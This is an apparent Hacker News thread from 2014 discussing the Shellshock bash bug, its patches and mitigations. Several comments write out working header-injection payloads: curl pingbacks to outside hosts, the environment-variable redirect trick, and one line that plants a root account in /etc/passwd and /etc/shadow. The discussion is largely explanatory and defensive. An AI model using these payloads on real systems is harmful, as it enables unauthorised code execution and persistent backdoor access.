        Oh, certainly. I was only talking about OS X, which didn't build the DHCP client around a collection of shell scripts for portability. On OS X, you could see every time a process is invoked like this: sudo execsnoop -c bash On Linux, that requires work which fortunately Brendan Gregg already did: https://github.com/brendangregg/perf-tools/blob/master/execsnoop https://github.com/brendangregg/perf-tools/blob/master/execs...
    • sehugg 12y ago
      There's some potentially funky stuff there like CUPS, which runs a local daemon that serves binary CGIs (though I think it's bound to localhost by default). http://support.apple.com/kb/HT4169 http://support.apple.com/kb/HT4169 Might be wise to turn all network-listening services off that you don't immediately need until a fix is available.
• h43k3r 12y ago
  I tested some of the sites and successfully executed some test code. One can easily google for such sites. The important thing is that, the link using which I ran the code is of a .gov site. This thing seriously needs to be patched asap. Update your systems now.
  • Afforess 12y ago
    Even a harmless code exploit, when run on a computer system you do not have normal permission to use, is a felony in the USA.
• SchizoDuckie 12y ago
  I'm by no means an expert, but am I completely wrong if I think something like this should work on an exploitable system to get a pingback from a vulnerable system without curl ? curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgi
• vhost- 12y ago
  For those of us with large clusters and chef, here is a useful knife command for updating bash on debian/ubuntu systems: knife ssh 'name:*' 'sudo apt-get update && sudo apt-get install -y --only-upgrade bash'
• jtchang 12y ago
  For this to happen the attacker has to control environment variables and then a bash shell is spawned. Lots of web stuff spawn shells setting environment variables to stuff in HTTP headers. LC_TIME with some time zone settings might be one.
• jacksoncage 12y ago
  Saved a lot of time again today with salt! $ salt * pkg.install bash refresh=True and then check for right version $ salt * pkg.version bash
• deleted 12y ago
  [deleted]
• gwillem 12y ago
  This is quite stealthy way to scan, as Accept headers are generally not logged: curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.
  • mr_brown 12y ago
    import os os.putenv("ANYTHING", "() { :;}; echo bu") os.system("bash") If this works (and it does) that means it's enough for a CGI script to invoke bash. It doesn't even have to be written in bash.
  • antocv 12y ago
    Maybe the bash is invoked on some other request path, not just / which you are scanning. I would go with /login and such, or write a crawler to parse out where the login/logout URLs are and try those.
  • dremel 12y ago
    Would disabling CGI e.g. adding Option -ExecCIG to httpd.conf for Apache prevent exploitation via the web-server?
• throwaway49152 12y ago
  What would be the best way to go if using Debian 5 (lenny)? The only service exposed is ssh, and no one outside the company has an account. Is it still vulnerable through ssh?
  • baq 12y ago
    see http://seclists.org/oss-sec/2014/q3/651 http://seclists.org/oss-sec/2014/q3/651. can't say i understood much, but the answer i can give is 'likely'.
  • mdeeks 12y ago
    No, they would need a valid SSH account and password/key.
• antocv 12y ago
  Funny, this works even after bash fix / upgrade env X='() { (a)=>\' sh -c "echo date"; cat e From http://seclists.org/oss-sec/2014/q3/672 http://seclists.org/oss-sec/2014/q3/672
  • codingbeer 12y ago
    I can't comprehend how this got buried so fast in the mist of "patch, patch, patch".
  • scintill76 12y ago
    I replaced "sh" with "bash" in the above, and on my patched system it creates a file called "echo" with the date in it. Can anyone explain how this works? Is it an exploit? Edit: From my experiments, the name in (a) doesn't matter, and "echo" and "date" can be changed. The thing in echo's position is where the output goes (and can be an absolute path!), and "date" is a command that is run. Still no idea how it works, as I'm not very familiar with shell syntax and Googling symbols like "=>" is mostly useless. It may even be meaningless and is just garbage to get bash into a state that causes this to happen? Edit 2: http://seclists.org/oss-sec/2014/q3/679 http://seclists.org/oss-sec/2014/q3/679 has a small example. "Tavis and I spent a fair amount of time trying to figure out if this poses a more immediate risk, but so far, no dice. It strongly suggests that the parser is fragile and that there may be unexpected side effects, though"
• cft 12y ago
  Here's how to patch Ubuntu 8.04 or anything where you have to build bash from source: #assume that your sources are in /src cd /src wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz #download all patches for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done tar zxvf bash-4.3.tar.gz cd bash-4.3 #apply all patches for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #build and install ./configure && make && make install Not sure if Ubuntu 8.04 with custom built bash will be upgradable to 10.04??
  • ak217 12y ago
    Or you could just download a bash-static deb from 10.04 (https://launchpad.net/ubuntu/lucid/+package/bash-static https://launchpad.net/ubuntu/lucid/+package/bash-static) and overwrite /bin/bash. It shouldn't cause any issues when upgrading, though you could back up the original. 8.04 is unsupported, and situations like this justify the effort of upgrading it to the latest LTS.
  • imaginenore 12y ago
    Why is my bash version still 4.2.45(1) after this? # bash --version bash --version GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu) Though it seems the vulnerability got fixed.
  • ricilake 12y ago
    This won't work; you need sudo make install Given the circumstances, a lot of people without much software experience will be reading this message and simply copying and pasting; it's worth getting it right. On Ubuntu, you'll probably want to ./configure --prefix=/usr/bin . If you install in /usr/local/bin (the default), bash will effectively no longer be updated by apt-get.
    • ricilake 12y ago
      That should probably have been ./configure --prefix=/usr --bindir=/bin --sbindir=/sbin --sysconfdir=/etc Once upon a time, distributions documented their build configurations. Or maybe it's that I used to only use FreeBSD.
• detectify 12y ago
  We have added the CVE to our scanning routines and the update is now online on www.detectify.com. Test your environment for unpatched servers. In times like these it's OK to go for our free plan.
• deleted 12y ago
  [deleted]
• AntiRush 12y ago
  It seems like the current patch might not be a complete fix: http://seclists.org/oss-sec/2014/q3/671 http://seclists.org/oss-sec/2014/q3/671
  • fl0wenol 12y ago
    I think the default in bash should be to never execute the contents of environment variables (like the restricted shell mode allows). Does anyone know why it allows you to pass in shell functions this way? Does anything use it?
• daveloyall 12y ago
  There's some misunderstanding of how the one-liner works, so here's a writeup. You can break the one-liner into two lines to see what is happening. 1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable' 2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'" 3. bash: warning: badvar: ignoring function definition attempt 4. bash: error importing function definition for `badvar' 5. I am an innocent sub process in 4.3.25(1)-release 1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened! 2. Create an innocent sub process. Bash in this case. During initialization... 3. ...bash spots the specially formed variable (named badvar), prints a warning, 4. ...and apparently doesn't define the function at all? 5. But other than that, the child bash runs as expected. And now the same two input lines on and OLD bash: 1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable' 2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'" 3. vulnerable 4. I am an innocent sub process in 4.3.22(1)-release 1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened! 2. Create an innocent sub process. Bash in this case. During initialization... 3. ...bash accidentally EXECUTES a snippet that was inside the variable named 'badvar'?! 4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)
  • CSDude 12y ago
    I finally understand how it can be used.
    • jMyles 12y ago
      I'm sorry; perhaps I'm slow. I see the problem, but how can a stranger set an environment variable?
      • smsm42 12y ago
        In a webserver, like Apache, environment variables are set from headers sent by the client, e.g. each header like Cookie would produce variable like HTTP_COOKIE. These variables can contain any data that the user sent. If Apache uses external code (like PHP, Ruby, Python, etc.) to process the request, it may pass these variables to that code, and if that code runs some command on the system, these variables may be passed to the command shell, which would lead to code contained in the variable to be executed at that point. This can also happen with other service processes - such as OpenSSH, that sets ORIG_SSH_COMMAND variable to the command that the user supplies. That may allow people to break out of restricted accounts -i.e. accounts that are supposed to run just one command (ssh-based services, like SVN or Git, may be an example) and run arbitrary commands under such user.
• 0x0 12y ago
  The currently published fix is claimed to be incomplete: https://twitter.com/taviso/status/514887394294652929 https://twitter.com/taviso/status/514887394294652929
  • Erwin 12y ago
    That works for me too. I was first unsure but breaking it up into an export Z=.... and then running bash -c 'echo date' on a separate line seems to execute essentially date > echo. Can anyone explain what's going on there? Seems like defining a function within a nameless function; how does it end up with this redirect? I'm not sure what the exploitabiliy of this is; is it just essentially $1 > $0 ?
    • scintill76 12y ago
      The redirect at the end of the env var seems to be "remembered" even though the syntax error aborts the function definition, then the first arg is taken as the path to redirect to, and the following args as the command to execute. (I haven't dug into the actual parser, this is just my intuitive understanding.) It does seem to be about like $1 > $0, so not generally exploitable. Here's an example using it to read files instead of write: https://news.ycombinator.com/item?id=8365205 https://news.ycombinator.com/item?id=8365205 But still, not as universal of an exploit as the original.
  • Erwin 12y ago
    My findings so far: setting User-Agent to that new string and executing a .cgi script complains about: syntax error near unexpected token `newline' in `#!/bin/bash'. (My speculation is that we are in some kind of parsing context where no newlines are expected; none are given on the example bash -c ... line, but when you actually run a script there will be a newline). I tried to change this to a Python script and instead use os.popen. Well, Ubuntu /bin/sh is "dash" so that's not affected. I tried to explicitly call bash via os.popen("bash -c 'some command'") -- no go either, as that bash command started by parsing some /etc/bash.bashrc file and complaining about newlines there. Finally I used os.popen("bash --norc -c '/tmp/file date'") -- and that ended up running "date > /tmp/file" from the CGI script. I tried replacing /bin/sh by "bash" instead of dash. That now made the CGI script choke on reading some other RC files due to the unexpected newlines in the context bash starts with. So the question from me still seems to be: what is the weird context setup by that environment setup, and what else can do you with it than to redirect $1 to $0 ?
• jamiepenney 12y ago
  Looks like Raspian have updated their bash package with the fix, so my Raspberry Pi is safe.
• userbinator 12y ago
  According to http://wiki.bash-hackers.org/syntax/basicgrammar http://wiki.bash-hackers.org/syntax/basicgrammar it appears that this is because bash allows functions to be exported through environment variables into subprocesses, but the code to parse those function definitions seems to be the same used to parse regular commands (and thus execute them). Edit: after a brief glance over the affected code, this might not be so easy to patch completely - the actual method where everything interesting starts to take place is initialize_shell_variables in variables.c and parse_and_execute() in builtins/evalstring.c, so parsing and execution happen together; this is necessary to implement the shell grammar and is part of what makes it so powerful, but it can also be a source of vulnerabilities if it's not used carefully. I suppose one attempt at fixing this could be to separate out the function parsing code into its own function, one which can't ever cause execution of its input, and use that to parse function definitions in environment variables. This would be a pretty easy and elegant thing to do with a recursive-descent parser, but bash uses a lex/yacc-generated one to consume an entire command at once... However, all in all I'm not so sure this ability to export funcdefs is such a good idea - forking a subshell automatically inherits the functions in the parent, and if it's a shell that wasn't created in such a manner, if it needs function definitions it can read them itself from some other source. This "feature" also means environment variables cannot start with the string '() {' (and exactly the string '() {' - even removing the space between those characters, e.g. '(){', doesn't trigger it) without causing an error in any subprocess - violating the usual assumption that environment variables can hold any arbitrary string. It might be a rare case, but it's certainly a cause for surprise.
  • spb 12y ago
    I'm hoping we'll see a patch soon that altogether removes this misfeature. EDIT: Apparently that's out of the question, but there's talk about using a BASH_FUNCDEFS variable to specify which variables are function definitions instead: http://www.openwall.com/lists/oss-security/2014/09/24/20 http://www.openwall.com/lists/oss-security/2014/09/24/20
• andrew13 12y ago
  It might still be an issue. The patches may not have done enough. $ env X='() { (a)=>\' sh -c "echo date"; cat echo https://twitter.com/taviso/status/514887394294652929# https://twitter.com/taviso/status/514887394294652929# env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("
  • jMyles 12y ago
    Just tested on Ubuntu 14.04 patched. "still vulnerable :("
  • timv 12y ago
    Chet (bash maintainer) says he has a fix. http://seclists.org/oss-sec/2014/q3/682 http://seclists.org/oss-sec/2014/q3/682
    • andrew13 12y ago
      That's good news
  • caust1c 12y ago
    https://news.ycombinator.com/item?id=8365158 https://news.ycombinator.com/item?id=8365158
  • Negitivefrags 12y ago
    Can anyone confirm that this is still a security issue? My reading of this is that it's weird, and it's certainly a bug in the parser, but because you don't get to put the executable code in the environment variable it's not an RCE exploit like the last bug was. Does anyone have confirmation that this new bug allows you to RCE with control of the value of an environment variable alone?
    • thaumaturgy 12y ago
      That was my initial reaction too, but I'm not so sure now that the bash maintainer has responded. I'm trying to get a better PoC working. edit: OK, I give. I don't understand how this is different from, env z='' echo oops So, assuming you have Stupid Server 2.0, and SS 2.0 allows you to send an Accept: header with, '' evil command here ...you still need to find a way to execute that command, which is different from CVE-2014-6271, which caused function embedded in environment variables to be executed when they were read. Am I missing something?
• rurban 12y ago
  What I'm really worried about now is every single cable modem and router out there, as they are very rarely updated. They run their shit for years. The bigger routers yes, but smaller ones and the modems not.
• jingo 12y ago
  A quick fix would be to stop using bash. I write hundreds of shell scripts per year and I never, ever use bash. Everything can be done with a less complex /bin/sh having only POSIX-like features. There's no reason webservers have to use bash by default. Sysadmins might need a hefty shell will lots of features in order to do their work, but an httpd should not need access to bash-isms. It should work fine with a very minimal POSIX-like shell. I'm glad the systems I use do not have bash installed by default. The only time I ever use it is when a software author tries to force me to use bash by writing their install scripts in it and using bash-isms so the script will not run with a simpler shell like a BSD /bin/sh.
• deathanatos 12y ago
  From just a functionality standpoint, how is even the patched version supposed to work? It seems to undefine the variable: % E='() { echo hi; }; echo cry' bash -c 'echo "-$E-"' bash: warning: E: ignoring function definition attempt bash: error importing function definition for `E' -- Since everyone's favorite example seems to be CGI scripts, doesn't this result in the script having no variable, as opposed to just a text one? Suddenly the script can break because an expected variable is no longer present simply because the input had a certain odd looking form? In fact, if I wanted my variable to be a function, why wouldn't I just explicitly eval it? What's the use case at all for this functionality?
• detectify 12y ago
  We just released a complete quick-test for #shellshock here: https://shellshock.detectify.com/ https://shellshock.detectify.com/. It's free to use and here's the information about how the scanner works: goo.gl/8vp6eo Please feedback here: https://news.ycombinator.com/item?id=8366643 https://news.ycombinator.com/item?id=8366643
• milankragujevic 12y ago
  Here's an easy to use and reliable scanner to test if your website is vulnerable. http://milankragujevic.com/projects/shellshock/ http://milankragujevic.com/projects/shellshock/
• emmelaich 12y ago
  So proud of myself; my Python has env={} in the call to Popen(). The ultimate whitelist. And they're executed with sudo but sudo empties out env vars with functions in them on the machines I use. Oldest is RHEL5.
• dholl 12y ago
  I got tired of the hype. How's the following code for a mitigation? Basically, if some program does invoke /bin/bash, control first passes to this code which truncates suspicious environment variables. (and it dumps messages to the system log if/when it finds anything...) The check should match for any variety of white space: =(){ =() { = ( ) { etc... but feel free to update it for whatever other stupid things bash allows. The code is at http://ad5ey.net/bash_shock_fix.c http://ad5ey.net/bash_shock_fix.c Simple usage: cd /bin gcc -std=c11 -Wall -Wextra bash_shock_fix.c -o bash_shock_fix mv bash bash.real ln -s bash_shock_fix bash phoenix(pts/1):~bin# ls -al bash* lrwxrwxrwx 1 root root 14 Sep 27 00:23 bash -> bash_shock_fix -rwxr-xr-x 1 root root 1029624 Sep 24 14:51 bash.real -rwxr-xr-x 1 root root 9555 Sep 27 00:23 bash_shock_fix -rw-r--r-- 1 root root 2990 Sep 27 00:23 bash_shock_fix.c phoenix(pts/1):~bin#
• ITGabs 12y ago
  env x='() { :;}; echo "johndoe:x:0:0::/root:/bin/sh" >>/etc/passwd' bash -c "echo this is just a test" env x='() { :;}; echo "johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf/E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ/:15997:0:99999:7:::" >>/etc/shadow' bash -c "echo this is just a test" Hacked!! but this only work from root :/ and johndoe xD